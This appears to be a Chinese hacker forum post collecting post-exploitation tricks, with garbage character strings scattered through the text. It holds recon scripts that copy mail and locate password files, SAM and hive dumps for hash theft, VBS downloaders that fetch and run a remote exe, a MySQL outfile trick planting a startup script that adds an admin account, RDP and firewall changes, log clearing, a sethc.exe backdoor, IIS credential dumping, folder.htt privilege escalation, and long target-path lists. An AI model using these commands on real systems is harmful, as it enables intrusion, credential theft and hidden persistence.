( j$ B2 R* y+ Y3 I3 i' P命令行RAR打包~~·
! H8 @" S/ o" wrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
; q7 U6 s1 a: K# K2、收集系统信息的脚本  
3 q8 z2 \; `4 `2 H7 p* tfor window：

@echo off
echo #########system info collection
systeminfo
7 i: _  Y0 [6 Pver
hostname
7 U. g5 O; v$ j. Dnet user
net localgroup
2 ]& l3 V2 w' G6 R" D7 Nnet localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
9 p$ \. e7 [3 ~8 C# g4 H1 Y1 Recho schtask /query

echo
echo ####task-list#############
tasklist /svc
0 l5 v: M+ u0 W/ ~# \2 v3 Kecho
( I0 e) H6 y7 J: b/ lecho ####net-work infomation
ipconfig/all
route print
arp -a
$ Q4 C8 H% |2 c4 Knetstat -anipconfig /displaydns
8 t- K1 F  P" w8 _0 E2 Techo
8 [) \. s' p% G, X% ?' kecho #######service############
sc query type= service state= all
) `7 P* `* \- T7 h( Q2 P: zecho #######file-##############
4 Z: v6 Y0 O0 F8 Tcd \
- h8 T- J. b3 Z* B4 ?2 Btree -F
3 p4 C# ~& V0 z- \4 \for linux：
4 A6 [: h* X% p8 [# M2 \' ~/ m
# o1 n# z3 z3 d( g( F#!/bin/bash
, D4 M4 {* b3 P% ]% p$ H) x! E
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
1 b) m  M2 k% B8 u$ ^9 c" Lecho
" \5 b( D2 \/ Y, A/ Yrpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
6 k+ @' c7 Y* G: }( _

2 E, ?2 y( K' _5 O! Wecho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
9 J4 X) C7 [  q: Oset

$ n  K# A4 u% Aecho #####about network###
  o  T/ R9 q/ s0 g; \& S' c0 X9 Z####this is then point in pentest,but i am a new bird,so u need to add some in it
& W7 y4 F/ v2 y/ c0 C" U5 _cat /etc/hosts
hostname
4 a( e% D8 C& E( C2 tipconfig -a
arp -v
echo ########user####
  \5 R. {; Q! w$ u  }2 Mcat /etc/passwd|grep -i sh
# x1 ?2 z0 `/ e# G
4 O/ X' l& Y, R4 o+ P% jecho ######service####
* A* b6 P- s7 @- p+ uchkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
* U: _) t* C& P& y& Bcat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
+ u( `0 q" D9 K/ z4 f3 I+ A: k1 ssleep 5
locate password >>/tmp/password 2>/dev/null
5 \; v$ R3 |! Gsleep 5
+ Q8 w4 m( h4 |- A5 i( Tlocate conf >/tmp/sysconfig 2>dev/null
& w# U9 _  v# T9 g9 Asleep 5
locate config >>/tmp/sysconfig 2>/dev/null
! X! s. `7 h5 zsleep 5

, ]0 v9 j% n7 @: U% W; g  z###maybe can use "tree /"###
( G( Y( p  s& E4 s$ t; C9 R- m, Necho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
" W1 z5 p  [3 k. _9 krm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
1 O7 s6 Q" g: \3 U& ^$ _5 v0 D+ z               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
6 b" q3 Y1 j" t9 w5 T注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
8 k, |2 h: g2 H& ~接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
- C* J/ g$ m' r. E# f( r4 P0 p, Yhash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
7 Z- f, h# J" [- eecho sGet.Open() >>c:\windows\cftmon.vbs
# q* o/ \. f. Zecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
# s8 n- o5 s$ R, m# V5 decho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
* ^. H+ n! o. i" O* P  c1 n. C2 c0 uecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
0 Q+ B$ m/ B. F: jcftmon.vbs
7 X; u9 J" M7 z9 N+ }# K; Y
2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
& b  ?6 U4 z  ~  M, b4 sSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
# H* [- o1 ^. `9 B9 GSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
8 U- w% G5 r( J, Z! Q' y. ^3 O& ]0 u1 ssGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
$ F+ F$ t: |+ j6 z6 e9 L
5 u7 T* s- h% C# E$ jcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
. p* M% g- R$ q" E# q6 c2 W——————————————————
3 o$ D9 [+ P3 ]2 x: P) X5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
4 }9 A( x0 F, G0 U! p: N& \REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
9 y. D, `( W3 f( f4 R$ g; g1 fREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
+ V, Z' ?5 V; |- ~. Zinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
; t* ~9 ^9 s( m8 x+ _+ @/ n  
# n4 t  u4 X9 B# m' F8 k以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
+ ~  t1 g& U! [5 k- x
+ t$ |1 g; k8 z7 u8 Zfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
5 {, U1 a4 \1 v! W9 z" z  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
. l' N: n* f( t6 _* V9 d. w4 u8 U1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
# P% O) h" S4 s. s- pHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

) v" a8 G. F' M$ I3.清除3389登录记录:
7 ?3 M" Z3 h# \, i. p) j7 Zreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
4 O4 I2 Z* P. R. z% V- B
! W) S4 [+ n  ~6 h7 j4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
! L* M' N5 V& Z  v% u% }
3 G! C1 F$ L' x5.禁用TCP/IP端口筛选(需重启):
; y1 ?& F+ }' SREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

. G; v2 c; y! V' T8 U6.IPSec默认免除项88端口(需重启):
: o9 B: L, \, Q1 T/ u; nreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
, c8 n( @: j7 @: a: m/ V+ k或者
3 s1 ~( n5 U% B( unetsh ipsec dynamic set config ipsecexempt value=0
/ u/ F/ L8 d: e" W7 U8 p9 X) y
+ J* b& |( l) o1 s% S7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

3 v: J9 o  m  P( a3 e0 t' ^1 z8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
  N2 Z7 b0 U% B
5 _( |: A- c2 ?" ?8 n/ i2 k9.另类方法抓系统密码HASH
' J" H; `& X, p" _) Preg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
* S3 H( F. x, l5 g/ A9 N# Ureg save hklm\security c:\security.hive

10.shift映像劫持
8 I8 u9 l  y- ]reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

0 j8 t3 ?5 C$ freg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
8 D* }, u8 ^+ A8 ]( h- Z4 \-----------------------------------
9 N  x+ J# C* b" x4 v/ Y8 A星外vbs(注：测试通过，好东西）
- A! U7 i- A8 x, aSet ObjService=GetObject("IIS://LocalHost/W3SVC")
6 m2 R' M0 Z6 n8 ~8 {* g& @For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
0 M: S& v. I! [: q( O7 ]( k7 Cset IIs=objservice.GetObject("IIsWebServer",childObjectName)
" g% D& y5 J( m) S7 L2 Aif err.number<>0 then
4 K% q! S# r8 |1 o- ^7 lexit for
msgbox("error!")
wscript.quit
" b; n- o6 G) O. Q2 w/ p" z+ B& wend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
% E5 Y0 x5 ?5 Xend if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
& x# r$ s8 l$ X) Z- T+ G' xWScript.Quit
复制代码
7 W: O! P* v3 v, s+ V+ x' V0 ]----------------------2011新气象，欢迎各位补充、指正、优化。----------------
# R8 V2 r: N: O5 h8 \1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
% M; e* ^5 G4 c1 m6 ^; i! F将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
+ y$ u* S8 G2 c- w* B  Z1 f</OBJECT>
& N) F: ^# \$ x- Q0 g/ L; v+ ~, `8 D复制代码
3 p- Q; r2 g% A- k7 ~3 Z2 k然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
8 M, w# u* u  u; F 原因是ASP大马里有这样的代码：（没有就没事儿了）
7 w. N* {, O- `4 ^$ | url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
$ l. g! M5 d& s path_info可以直接呈现虚拟路径 顺利解析gif大马
# B5 V9 |- g* ^5 K$ F
==============================================================
LINUX常见路径：
' [4 g5 ^. a! n( v
/etc/passwd
1 C& m5 j7 o! d% j1 Z! j" V2 g/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
/ \" O" g- }) F& L+ A- ^/etc/ld.so.conf
, T" A& G' v$ E/var/www/htdocs/index.php
8 J8 N) N1 \- r6 O) T6 X/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/ h+ {9 E0 W9 l3 a$ f( L/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/ J' k- G% P1 r/var/www/index.html
# o  y9 f% T8 x" j/ m. ]; b2 z6 g/var/www/index.php
0 o4 w; k8 Y% P. F- l2 v/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
$ P# e( R$ J1 ~1 Z# f* D; P$ d/usr/local/apache2/htdocs/index.html
# S& C  Q$ Q" U- B/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
; v" i* D) g9 F! B( t0 @) m. f/usr/local/httpd2.2/htdocs/index.html
- E9 [$ q& j! D- D( R, s/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
* M+ v1 `4 H7 J7 X, l/etc/httpd/htdocs/index.php
8 Y$ O; X* |6 [0 [9 Y  _/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
' y4 i% ~0 ?+ y( ~7 y/www/php/php.ini
* W: X4 _* N( h: h/www/php4/php.ini
1 }. r1 I$ U4 g( w# `- I* @/www/php5/php.ini
$ h+ B# [' o2 e; c! O/www/conf/httpd.conf
9 b( q  S# f* t8 T6 X# @% a/www/htdocs/index.php
" u% G& e& o( p9 z1 k( |/www/htdocs/index.html
! u# N1 L  s5 n* `9 l/ g9 b- v/usr/local/httpd/conf/httpd.conf
7 s4 S' U/ u  E" {& k" b/apache/apache/conf/httpd.conf
; X0 s/ `- |9 |/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/ f: b4 Z- e" H) a; M: t. Q, p' R6 |/etc/apache/httpd.conf
2 h$ \3 H( J3 F% u4 |  ~/etc/apache2/httpd.conf
5 n% r# [, t7 q3 e& y/etc/apache2/vhosts.d/00_default_vhost.conf
, f5 _' d% V0 i7 r/ A/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
% R5 K7 N: X1 a( c/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/ D& ~4 b- x9 r/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
3 n. E0 \5 ^3 c0 z5 \  Z( z5 }/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
- y! X# `0 l4 D/var/log/apache2/access_log
' v! L* }7 T; y; ^' R/var/log/apache2/access.log
4 P8 z1 S% Z5 b. [$ h& w- A8 w/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
: I* U% b2 i- A8 m/var/log/error.log
/var/log/access_log
( ?, c% ?0 Z( N/ H! t. n/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
+ t, O5 V" G7 {/etc/php.ini
/bin/php.ini
- X) E9 t' o$ D( j8 B, q( D! u/etc/init.d/httpd
& g. H! H0 [! f5 d/etc/init.d/mysql
' G# \6 i5 e6 H/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
7 ^0 f/ p7 b- T( E; _& h/usr/local/php/lib/php.ini
! }, H( J# T. v7 L1 j5 ?9 v/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
2 [( ^1 N1 x9 _9 Z. O/usr/local/php4/lib/php.ini
- T4 a9 y* F6 H+ a0 Y5 r/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
2 k. d% e- ?4 J3 t9 X1 a" A1 j/usr/local/php5/php5.ini
8 t( F- L: {6 w- m5 q2 i! D& N) _/usr/local/apache/conf/php.ini
, d' y+ j' e7 o" q" V# h7 ]  h/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
& j3 Q( w' a' z$ ]/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/ u+ q* N1 @& m6 ^, s/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
3 {, a/ |5 J! X& P/etc/php5/apache2/php.ini
2 t3 `  d- x2 i4 O& I/etc/php/php.ini
/etc/php/php4/php.ini
9 Y; X3 |6 d1 g$ j% n! a' }/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
9 ]5 ?4 F- d! _. F/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
' I1 ?" j' r" C: O1 y: y/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
3 h7 p  }# A. F$ o/ g7 v$ ^$ G/etc/php/cgi/php.ini
: R* Y8 m) O- F1 }# V/etc/php4/cgi/php.ini
( B, U$ U% y# S  }. \, a/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
* B: m: O" z/ j2 _/php/php.ini
/PHP/php.ini
! {6 k; C* J; r/apache/php/php.ini
* g- f; ^% |# c8 ]1 D: M$ }0 O/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
) H1 D" \& b# G2 J+ O' W3 J/home2/bin/stable/apache/php.ini
& v1 W7 M7 ^1 l2 n/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
$ D. G' D3 T4 @! V. Y/var/log/mysql.log
/var/log/mysqlderror.log
4 F; D! k8 W+ j- R1 s% J/var/log/mysql/mysql.log
5 {) G) N% c1 Z% f0 A/var/log/mysql/mysql-slow.log
" |$ K+ p0 c. ~+ P" i/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
! M9 J& N+ U) f" A* I4 F( H/etc/mysql/my.cnf
& k, t3 [$ k  l! d3 l( R% a/etc/my.cnf
/usr/local/cpanel/logs
, _) u/ n# z9 u0 U/usr/local/cpanel/logs/stats_log
4 S$ L9 _4 \6 l7 A% U% ]) G' r8 }/usr/local/cpanel/logs/access_log
8 U0 q! }0 f- R) {& z/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
, O. O. N1 [1 N0 K/usr/local/share/examples/php4/php.ini
9 p2 v3 ~0 d2 L# @# j7 \( q- d4 U6 V/usr/local/share/examples/php/php.ini

$ ]/ t' R+ ^* J6 E. d1 T4 q7 S2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

- c  U5 o$ e5 ?: ac:\windows\php.ini
! K% d! j7 l7 u6 `  V3 R. \7 oc:\boot.ini
c:\1.txt
c:\a.txt
, C! R0 I  K; o
8 f( x# f* z2 w; {# A7 R; a$ F& dc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
) s& Z( T  o/ F4 s# e, o0 T6 I; Qc:\program files\CMailServer\WebMail\index.asp
7 d/ g6 o9 T" k4 S4 GC:\WinWebMail\SysInfo.ini
' {+ N9 D8 Y- y6 g$ MC:\WinWebMail\Web\default.asp
! [  }/ `3 y, V- a1 B) `C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
$ d0 B8 m, ?# _% m( N5 O9 |C:\WINDOWS\7i24tool.exe
6 P3 ^& P- w  C' h; C7 b  D
c:\hzhost\databases\url.asp
4 Z8 k' _% M- P7 M( f5 b
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

/ C5 G# X8 v, OC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
% z9 P5 B, m8 g- |4 H5 }. b' s1 e+ f6 }c:\web\index.html
* A' A4 O- h8 x0 k6 S) N2 F* S5 _# {c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
8 i0 x+ C. O+ A- ?. [0 o: zc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
' j; H/ P) {: ], W9 J  fc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
% k0 @, Z- M9 p" ~* ~) O7 @c:\web\default.html
c:\www\default.html
8 |7 d+ W9 [/ v; l( d. pc:\WWWROOT\default.html
; ^4 n# q% T( {/ |c:\website\default.html
c:\web\default.asp
% d, J! V) m9 B0 T1 j  \: xc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
/ m$ O/ z0 F4 n, M  o* Zc:\web\default.php
/ ^: \4 f& Z7 jc:\www\default.php
% \: T, @, T. h( t& z7 O: Cc:\WWWROOT\default.php
+ r# o  v" p% K8 W& e8 g3 C& Yc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
* `1 s- `5 t1 u3 e' Z- s. Fc:\windows\notepad.exe
c:\winnt\notepad.exe
7 ^% T  G2 x7 \2 g4 _C:\Program Files\Microsoft Office\OFFICE10\winword.exe
" {2 q0 d- u( @3 l9 FC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
) R2 R3 b  L9 B8 u( U6 bC:\Program Files\360\360Safe\360safe.exe
/ H# G4 u1 e0 V; s) s6 P# y7 uC:\Program Files\360Safe\360safe.exe
9 n9 P+ W0 a1 ?. j3 ]! DC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
2 I- J1 {( `) l) Nc:\rising.ini
! x! u) M3 D  q2 PC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
' f' ^) Y7 Z- E* S/ V$ r( DC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
( Z9 I# v" ~& A" W& UC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
* g  m$ G+ T0 O: ~- o  yC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
$ G% G5 c/ @+ ^! ?4 \6 u2 c6 L! s* KC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
- N: a+ \5 ~% J& m+ hC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
! h2 x' W/ L. [C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
! V- D4 s( n# F7 _- \  vC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
( @* O& M0 s  o+ [3 R9 X, J6 }C:\Program Files\MySQL\MySQL Server 5.0\COPYING
+ `4 I+ r1 M. [0 [2 e+ ~& wC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
- m; l4 k+ [) ~# ^8 D" VC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
# m/ [' k. R' Y) q. g3 Z3 Cc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
9 v- |! `. V3 I! k5 zC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
9 f3 Y: F% w- p# d" f5 c- \& aC:\WINDOWS\system32\inetsrv\w3wp.exe
# M/ k( G% H* W; E. I1 H) C* @C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
+ z5 R7 i2 Y& `8 ?: T/ R( G, L. Mc:\tomcat6\tomcat6\bin\version.sh
' Q3 V- z$ D* D. Jc:\tomcat6\bin\version.sh
  Q: ?+ Z8 m, {. P  xc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
7 _, u  [( O) z0 K% cC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
! B+ |6 y% U% i% l- p0 [c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
5 B- r/ C/ a5 Z3 ?: n7 ]c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
2 Y/ U9 O( c( @! o/usr/tomcat6/bin/startup.sh
3 A) f8 j! x0 y1 V; {2 [) xc:\Program Files\QQ2007\qq.exe
. B/ V3 l! F  e4 Y7 ^c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
, }7 K: m$ p5 `- P" C& Xc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
4 p) x! a4 x; p# N& y1 q5 g  T+ Oc:\Program Files\Tencent\qq2008\qq.exe
/ d0 h% |- K9 O' o9 P8 ^7 Ic:\Program Files\Tencent\qq2010\bin\qq.exe
( K, M* @; v! M: h! pc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
; ^& D- W* J6 A: P  Y; u* Tc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
4 n# A- ?: Q9 o" ^, wc:\Program Files\Tencent\RTXServer\AppConfig.xml
( J) c) `2 d1 e/ eC:\Program Files\Foxmal\Foxmail.exe
: b, o7 m) x! G: l* V2 qC:\Program Files\Foxmal\accounts.cfg
% m+ F* Q! N" u3 `3 S. Q3 Y& k. dC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
  f: ?6 \5 w% z( j) FC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
+ {. c( k( z5 o9 b# g$ }* uc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
% {; w6 w: C/ G) f" q: ]( W5 A; nC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
. S$ b- d  z$ j. T9 ^: I) Pc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
7 W! Q  V1 c7 T2 Vc:\Program Files\tencent\QQGAME\readme.txt
9 W+ i7 \# K  d5 v+ f& vC:\Program Files\StormII\Storm.exe
